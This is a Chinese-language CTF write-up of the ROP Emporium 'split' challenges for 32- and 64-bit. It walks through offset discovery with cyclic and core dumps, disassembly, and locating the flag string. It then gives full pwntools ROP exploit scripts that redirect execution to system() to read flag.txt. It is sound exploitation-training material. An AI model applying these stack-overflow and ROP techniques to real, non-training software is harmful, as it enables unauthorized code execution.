1. split32
信息收集
$ file split32
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped
$ checksec split32
[*] '/home/starr/Documents/CProject/pwn/split32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
一个开启了NX防护的32位程序。
黑盒测试
$ ulimit -c unlimited
$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ ./split32 < cyclic.txt
split by ROP Emporium
x86
Contriving a reason to ask user for data...
> Thank you!
Segmentation fault (core dumped)
$ gdb ./split32 ./split32.core.3271
Core was generated by `./split32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x6161616c in ?? ()
$ cyclic -l 0x6161616c
44
缓冲区偏移44字节处覆盖了返回地址。
反汇编
$ objdump -d -M intel split32
080483e0 <system@plt>:
80483e0: ff 25 18 a0 04 08 jmp DWORD PTR ds:0x804a018
80483e6: 68 18 00 00 00 push 0x18
80483eb: e9 b0 ff ff ff jmp 80483a0 <.plt>
08048546 <main>:
...
804858b: e8 1d 00 00 00 call 80485ad <pwnme>
...
080485ad <pwnme>:
80485ad: 55 push ebp
80485ae: 89 e5 mov ebp,esp
80485b0: 83 ec 28 sub esp,0x28
80485b3: 83 ec 04 sub esp,0x4
80485b6: 6a 20 push 0x20
80485b8: 6a 00 push 0x0
80485ba: 8d 45 d8 lea eax,[ebp-0x28]
80485bd: 50 push eax
80485be: e8 4d fe ff ff call 8048410 <memset@plt>
80485c3: 83 c4 10 add esp,0x10
80485c6: 83 ec 0c sub esp,0xc
80485c9: 68 d4 86 04 08 push 0x80486d4
80485ce: e8 fd fd ff ff call 80483d0 <puts@plt>
80485d3: 83 c4 10 add esp,0x10
80485d6: 83 ec 0c sub esp,0xc
80485d9: 68 00 87 04 08 push 0x8048700
80485de: e8 dd fd ff ff call 80483c0 <printf@plt>
80485e3: 83 c4 10 add esp,0x10
80485e6: 83 ec 04 sub esp,0x4
80485e9: 6a 60 push 0x60
80485eb: 8d 45 d8 lea eax,[ebp-0x28]
80485ee: 50 push eax
80485ef: 6a 00 push 0x0
80485f1: e8 ba fd ff ff call 80483b0 <read@plt> read(stdin, buf, 0x60)
80485f6: 83 c4 10 add esp,0x10
80485f9: 83 ec 0c sub esp,0xc
80485fc: 68 03 87 04 08 push 0x8048703
8048601: e8 ca fd ff ff call 80483d0 <puts@plt>
8048606: 83 c4 10 add esp,0x10
8048609: 90 nop
804860a: c9 leave
804860b: c3 ret
0804860c <usefulFunction>:
804860c: 55 push ebp
804860d: 89 e5 mov ebp,esp
804860f: 83 ec 08 sub esp,0x8
8048612: 83 ec 0c sub esp,0xc
8048615: 68 0e 87 04 08 push 0x804870e
804861a: e8 c1 fd ff ff call 80483e0 <system@plt>
804861f: 83 c4 10 add esp,0x10
8048622: 90 nop
8048623: c9 leave
8048624: c3 ret
主函数逻辑就是调用pwnme,读取0x60字节到ebp-0x28处的缓冲区,发生溢出。
usefulFunction调用了system,但它的参数并不是/bin/sh或者/bin/cat flag.txt, 而是/bin/ls:
$ strings -t x split32 | grep 70e
70e /bin/ls
搜索一下,文件偏移1030处有我们想要的字符串参数:
$ strings -t x split32 | grep /bin
70e /bin/ls
1030 /bin/cat flag.txt
但要注意,字符串的虚拟地址并不是0x8048000 + 0x1030 == 0x8049030。需要计算一下:
$ readelf -S split32
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[24] .data PROGBITS 0804a028 001028 00001a 00 WA 0 0 4
...
字符串位于.data 内,它的虚拟地址就是0804a028 + (0x1030 - 0x001028) == 0x804a030
思路就是:覆盖返回地址为call system指令地址(0x804861a), 紧跟着是/bin/cat flag.txt字符串的地址。
system是libc中的函数,所以这种方法就叫ret2libc。
Exp
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./split32")
pCallSystem = 0x804861a;
pStrCatFlag = 0x804a030;
payload = bytes("A"*44, encoding="ascii")
payload += p32(pCallSystem)
payload += p32(pStrCatFlag)
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()
调试分析
顺便看下system的延迟加载。实际上用system@plt也是可以的。 system 使用得比较频繁,经过调试发现,程序运行之前解析system会转到plt这里, 一旦运行,就会解析到system本体:
pwndbg> disassemble system
Dump of assembler code for function system@plt:
0x080483e0 <+0>: jmp DWORD PTR ds:0x804a018
0x080483e6 <+6>: push 0x18
0x080483eb <+11>: jmp 0x80483a0
End of assembler dump.
pwndbg> n
The program is not being run.
pwndbg> start
pwndbg> disassemble system
Dump of assembler code for function __libc_system:
0xf7e1a3d0 <+0>: sub esp,0xc
0xf7e1a3d3 <+3>: mov eax,DWORD PTR [esp+0x10]
0xf7e1a3d7 <+7>: call 0xf7f1440d <__x86.get_pc_thunk.dx>
0xf7e1a3dc <+12>: add edx,0x19ac24
0xf7e1a3e2 <+18>: test eax,eax
调试下payload,system开头会开辟0xc字节得栈空间,然后用esp+0x10访问字符串/bin/cat flag.txt:
0xf7d233d0 <system> sub esp, 0xc
► 0xf7d233d3 <system+3> mov eax, dword ptr [esp + 0x10]
0xf7d233d7 <system+7> call __x86.get_pc_thunk.dx <__x86.get_pc_thunk.dx>
0xf7d233dc <system+12> add edx, 0x19ac24
0xf7d233e2 <system+18> test eax, eax
0xf7d233e4 <system+20> je system+32 <system+32>
0xf7d233e6 <system+22> add esp, 0xc
0xf7d233e9 <system+25> jmp do_system <do_system>
0xf7d233ee <system+30> nop
0xf7d233f0 <system+32> lea eax, [edx - 0x59e1d]
0xf7d233f6 <system+38> call do_system <do_system>
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xff965170 ◂— 0xb /* '\x0b' */
01:0004│ 0xff965174 —▸ 0xf7f06940 ◂— 0x0
02:0008│ 0xff965178 ◂— 0x18
03:000c│ 0xff96517c —▸ 0x804861f (usefulFunction+19) ◂— add esp, 0x10
04:0010│ 0xff965180 —▸ 0x804a030 (usefulString) ◂— '/bin/cat flag.txt'
实际上,返回地址覆盖为system@plt,也是可以的,只不过因为_dl_runtime_resolve最后有个ret 0xc,在字符串地址之前要再加个4字节填充:
► 0xf7ef4deb <_dl_runtime_resolve+27> ret 0xc <1>
↓
0xf7d243d0 <system> sub esp, 0xc
0xf7d243d3 <system+3> mov eax, dword ptr [esp + 0x10]
0xf7d243d7 <system+7> call __x86.get_pc_thunk.dx
00:0000│ esp 0xff8fce30 —▸ 0xf7d243d0 (system) ◂— sub esp, 0xc
01:0004│ 0xff8fce34 ◂— 0xb /* '\x0b' */
02:0008│ 0xff8fce38 —▸ 0xf7f07940 ◂— 0x0
03:000c│ 0xff8fce3c ◂— 0x18
04:0010│ 0xff8fce40 ◂— 0x42424242 ('BBBB')
05:0014│ 0xff8fce44 —▸ 0x804a030 (usefulString) ◂— '/bin/cat flag.txt'
pwndbg> ni 3
0xf7d243d0 <system> sub esp, 0xc
0xf7d243d3 <system+3> mov eax, dword ptr [esp + 0x10]
► 0xf7d243d7 <system+7> call __x86.get_pc_thunk.dx <__x86.get_pc_thunk.dx>
arg[0]: 0xb
arg[1]: 0xf7f07940 ◂— 0x0
arg[2]: 0x18
arg[3]: 0x42424242 ('BBBB')
0xf7d243dc <system+12> add edx, 0x19ac24
...
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xff8fce34 ◂— 0xb /* '\x0b' */
01:0004│ 0xff8fce38 —▸ 0xf7f07940 ◂— 0x0
02:0008│ 0xff8fce3c ◂— 0x18
03:000c│ 0xff8fce40 ◂— 0x42424242 ('BBBB')
04:0010│ 0xff8fce44 —▸ 0x804a030 (usefulString) ◂— '/bin/cat flag.txt'
05:0014│ 0xff8fce48 ◂— 0xa /* '\n' */
06:0018│ 0xff8fce4c —▸ 0xf7cfffa1 (__libc_start_main+241) ◂— add esp, 0x10
BBBB这个填充位置,正常应该是pop;pop;ret
这样的指令地址,以便返回下面的__libc_start_main函数。这里填充了BBBB其实会导致崩溃:
Core was generated by `./split32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x42424242 in ?? ()
exp:
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./split32")
# pCallSystem = 0x804861a;
pCallSystem = 0x80483e0;
pStrCatFlag = 0x804a030;
payload = bytes("A"*44, encoding="ascii")
payload += p32(pCallSystem)
payload += bytes("B"*4, encoding="ascii")
payload += p32(pStrCatFlag)
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()
2. split
程序换成了64位的,直接搜索一下字符串:
$ strings -t x split | grep bin
84a /bin/ls
1060 /bin/cat flag.txt
$ readelf -S split
There are 29 section headers, starting at offset 0x1a98:
Section Headers:
[Nr] Name Type Address Offset
...
[23] .data PROGBITS 0000000000601050 00001050
0000000000000022 0000000000000000 WA 0 0 16
字符串地址:0x601050 + (0x1060 - 0x1050) == 0x601060
黑盒测试
64位程序内存地址不能大于 0x00007fffffffffff
,所以一般不会通过dump来分析溢出点。
反汇编
注意看下pwnme函数,分析溢出点:
0000000000400560 <system@plt>:
...
00000000004006e8 <pwnme>:
4006e8: 55 push rbp
4006e9: 48 89 e5 mov rbp,rsp
4006ec: 48 83 ec 20 sub rsp,0x20
4006f0: 48 8d 45 e0 lea rax,[rbp-0x20]
4006f4: ba 20 00 00 00 mov edx,0x20
4006f9: be 00 00 00 00 mov esi,0x0
4006fe: 48 89 c7 mov rdi,rax
400701: e8 7a fe ff ff call 400580 <memset@plt>
...
40071f: 48 8d 45 e0 lea rax,[rbp-0x20]
400723: ba 60 00 00 00 mov edx,0x60
400728: 48 89 c6 mov rsi,rax
40072b: bf 00 00 00 00 mov edi,0x0
400730: e8 5b fe ff ff call 400590 <read@plt>
溢出点应该位于(ebp+8) - (ebp-0x20) == 0x28
64位程序注意一下传参是用的寄存器,这里使用edi传递system的字符串参数:
0000000000400742 <usefulFunction>:
400742: 55 push rbp
400743: 48 89 e5 mov rbp,rsp
400746: bf 4a 08 40 00 mov edi,0x40084a
40074b: e8 10 fe ff ff call 400560 <system@plt>
400750: 90 nop
400751: 5d pop rbp
400752: c3 ret
400753: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
40075a: 00 00 00
40075d: 0f 1f 00 nop DWORD PTR [rax]
构造payload:
- 找一段gadget,
pop edi; ret
; /bin/cat flag.txt
字符串地址,用来pop进edi;- system地址。
寻找gadget:
pwndbg> ropgadget --grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret
Exp
from pwn import *
context.arch = "amd64"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio("./split")
# pCallSystem = 0x804861a;
pCallSystem = 0x40074b;
pCallSystemPlt = 0x0000000000400560;
pStrCatFlag = 0x601060;
pGadget = 0x00000000004007c3
payload = bytes("A"*40, encoding="ascii") # padding
payload += p64(pGadget)
payload += p64(pStrCatFlag)
payload += p64(pCallSystem)
# payload += p64(pCallSystemPlt)
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()
但是把返回地址覆盖为system@plt后发生了段错误,原因没查出来。